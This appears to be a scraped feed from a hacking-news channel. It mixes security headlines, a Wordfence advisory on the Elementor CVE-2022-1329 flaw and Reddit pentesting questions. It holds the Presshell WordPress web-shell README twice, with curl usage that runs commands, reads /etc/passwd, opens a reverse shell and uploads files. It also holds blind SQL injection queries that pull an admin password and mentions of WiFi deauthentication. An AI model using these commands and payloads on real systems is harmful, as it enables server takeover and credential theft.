Dark Reading: Attacks/Breaches
Palo Alto Networks Extends SASE to Protect Home Networks With Okyo Garde Enterprise Edition

Okyo Garde Enterprise Edition includes an option for at-home employees to create separate private and personal networks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
KKR to Acquire Barracuda Networks

The transaction is anticipated to close by the end of the year.

___________________________
@hacking_Attack
@Hacking_Video

Presshell - Quick And Dirty Wordpress Command Execution Shell
http://www.kitploit.com/2022/04/presshell-quick-and-dirty-wordpress.html

___________________________
@hacking_Attack
@Hacking_Video

presshell Quick & dirty Wordpress Command Execution Shell. Execute shell commands on your wordpress (https://www.kitploit.com/search/label/WordPress) server. Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Installation To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library (https://www.kitploit.com/search/label/Library) shouldn't work anyway. Otherwise, you have a bigger problem. Simply upload the zip file located in the Releases section as a new extension and you're good to go.
Usage Using the shell is straightforward. Simply pass sh commands as an argument to the shell : ❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs. ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php More complex commands are also supported, careful about your quoting though. ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'
cmd=uname+-a You can also open a reverse (https://www.kitploit.com/search/label/Reverse) shell using the ip and port parameters. The default port is 443. ❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' ❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337' There is also an option provided for convenience to upload a file to the directory of the plugin (https://www.kitploit.com/search/label/Plugin) unconditionally and without checks. ❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php
some_file Disclaimer Running unathorized attacks to public or private servers is illegal. The content of this repository is for educational purposes only and no responsibility will be taken by the authors (https://www.kitploit.com/search/label/Authors) in case of ill use of the provided material.

Download Presshell (https://github.com/scheatkode/presshell)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking websites: session hijacking with XSS (and how to protect your Django website)

https://cdn-images-1.medium.com/max/1200/1*XJwUkOmAmZW94SJlqIn6mg.png
One vulnerability builds on top of another: a bad actor can perform a series of attacks on your website that starts as a simple XSS attack…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Back-to-back industrial cyberthreats alarm global energy sector

https://cdn-images-1.medium.com/max/2500/1*0qPWOahdDHkh5IYteikmYg.png
Cybersecurity officials in the U.S. and Ukraine have exposed two powerful hacking tools aimed at the industrial control systems that…

Continue reading on README_ »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Presshell - Quick And Dirty Wordpress Command Execution Shell

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ2gmFF-8vujpwtuRPfuEAjQlXsF9OUq6wx_DqH4QfyJtcqXcBMoLH6x3XSqmOuMEVJ1D477qL84aRKF3z3R2swjvLQInQ_CebfT4HA4G-eaLVIgHsAO96GyauG4e1svQgMDqb1sETIBfvexwKAROnjkSH-em1ticcl5rFkxWkd0_3ZEyV8C5gcUsi/w400-h400/backdoor.png
presshell

Quick & dirty Wordpress Command Execution Shell.

Execute shell commands on your wordpress server. Uploaded shell will probably be at

Installation

To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library shouldn't work anyway. Otherwise, you have a bigger problem.

Simply upload the zip file located in the Releases section as a new extension and you're good to go.
Usage

Using the shell is straightforward. Simply pass shcommands as an argument to the shell :

❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs.

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php

More complex commands are also supported, careful about your quoting though.

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync

❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'
cmd=uname+-a

You can also open a reverse shell using the ipand portparameters. The default port is 443.

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1'

❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337'

There is also an option provided for convenience to upload a file to the directory of the plugin unconditionally and without checks.

❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php
some_file

Disclaimer

Running unathorized attacks to public or private servers is illegal. The content of this repository is for educational purposes only and no responsibility will be taken by the authors in case of ill use of the provided material.
Download Presshell

___________________________
@hacking_Attack
@Hacking_Video

What is the wisdom of using the ascii function?
https://www.reddit.com/r/Pentesting/comments/u348ho/what_is_the_wisdom_of_using_the_ascii_function/

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users WHERE username = 'admin' ) = 'a'; And I can exploit the vulnerability like this: SELECT username FROM users WHERE id = 1 AND (SELECT ASCII(substring(password,1,1)) FROM users WHERE username = 'admin' ) = '97'; What is the wisdom of using the ascii function? submitted by /u/abdrrhmen0x (https://www.reddit.com/user/abdrrhmen0x)
[link] (https://www.reddit.com/r/Pentesting/comments/u348ho/what_is_the_wisdom_of_using_the_ascii_function/) [comments] (https://www.reddit.com/r/Pentesting/comments/u348ho/what_is_the_wisdom_of_using_the_ascii_function/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Elementor 3.6.2 Remote Code Execution

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
WordPress Elementor versions 3.6.0 through 3.6.2 suffer from a remote code execution vulnerability.

MD5 | e3c26b5f04706dd80b2cb9e18d638d8a

Download
Description: Insufficient Access Control leading to Subscriber+ Remote Code Execution

Affected Plugin: Elementor

Plugin Slug: elementor

Plugin Developer: Elementor

Affected Versions: 3.6.0 – 3.6.2

CVE ID: CVE-2022-1329

CVSS Score: 9.9(Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Researcher/s: Ramuel Gall

Fully Patched Version: 3.6.3

The Elementor plugin for WordPress introduced an Onboarding module in version 3.6.0, designed to simplify the initial setup of the plugin. The module uses an unusual method to register AJAX actions, adding an admin_init listener in its constructor that first checks whether or not a request was to the AJAX endpoint and contains a valid nonce before calling the maybe_handle_ajax function.

Unfortunately no capability checks were used in the vulnerable versions. There are a number of ways for an authenticated user to obtain the Ajax::NONCE_KEY, but one of the simplest ways is to view the source of the admin dashboard as a logged-in user, as it is present for all authenticated users, even for subscriber-level users.

This means that any logged-in user could use any of the onboarding functions. Additionally, an unauthenticated attacker with access to the Ajax::NONCE_KEY could use any of the functions called from maybe_handle_ajax, though this would likely require a separate vulnerability.

The function with the most severe impact was the upload_and_install_pro function. An attacker could craft a fake malicious “Elementor Pro” plugin zip and use this function to install it. Any code present in the fake plugin would be executed, which could be used to take over the site or access additional resources on the server.

In addition to this functionality, a less sophisticated attacker could simply deface the site by using the maybe_update_site_name, maybe_upload_logo_image, and maybe_update_site_logo functions to change the site name and logo.

Timeline

March 29, 2022 – We finish our investigation and deploy a firewall rule to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers. We send our full disclosure to the plugin developer’s official security contact.

April 5, 2022 – We follow up with the plugin developer’s security contact as we have not yet received a response.

April 11, 2022 – We send our full disclosure to the WordPress Plugins team.

April 12, 2022 – A patched version of Elementor is released.

April 28, 2022 – The firewall rule becomes available to free Wordfence users.

Conclusion

In today’s post, we covered a Critical vulnerability that allows any authenticated user to upload and execute malicious code on a site running a vulnerable version of the Elementor plugin. If your site is using the Elementor plugin, we urge you to update immediately. The good news is that the vulnerability is not present in versions prior to 3.6.0 and was successfully patched in 3.6.3.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
More Than 60% of Organizations Suffered a Breach in the Past 12 Months

Firms focus too narrowly on external attackers when it's insiders, third parties, and stolen assets that cause many breaches, new study shows.

Dark Reading: Attacks/Breaches
Microsoft Leads Operation to Disrupt Zloader Botnet

The banking Trojan-turned-ransomware-distribution tool has been a potent threat since late 2019.

Dark Reading: Attacks/Breaches
Secure Systems Need Hardware-Enhanced Tools, Intel Says

A new Intel study finds that while adoption of hardware-assisted security is still low, there is a lot of interest in how it can secure system layers such as the operating system and hypervisor.

Hacking on Medium
Chrome Grabber

https://cdn-images-1.medium.com/max/729/1*l7QfhOLyRtSH4ZW3eLjrYg.png
How to extract chrome saved user information

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Microsoft Exposes Evasive Chinese Tarrask Malware Attacking Windows Computers. The Chinese-backed Hafnium hacking group has been linked to a piece of a new malware that's used to maintain persistence on compromised Windows environments.

https://external-preview.redd.it/lQCBcDpFQue0pDtilhzmjKFPhuASpj7jM-ZizpUD88g.jpg?width=640&crop=smart&auto=webp&s=407d97886fffb55f6a93bb9bd6ff14c6a7df5191 submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why does it say PMKID found instead of WPA Handshake

So I used the traditional airodump-ng handshake capturing method and to generate a handshake i deauthenticated users off that wifi network using a completely different device. When I stopped deauthentication it said "PMKID found" where it should say WPA Handshake. What is PMKID and is that of any benefit?

submitted by /u/h4cks1n
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video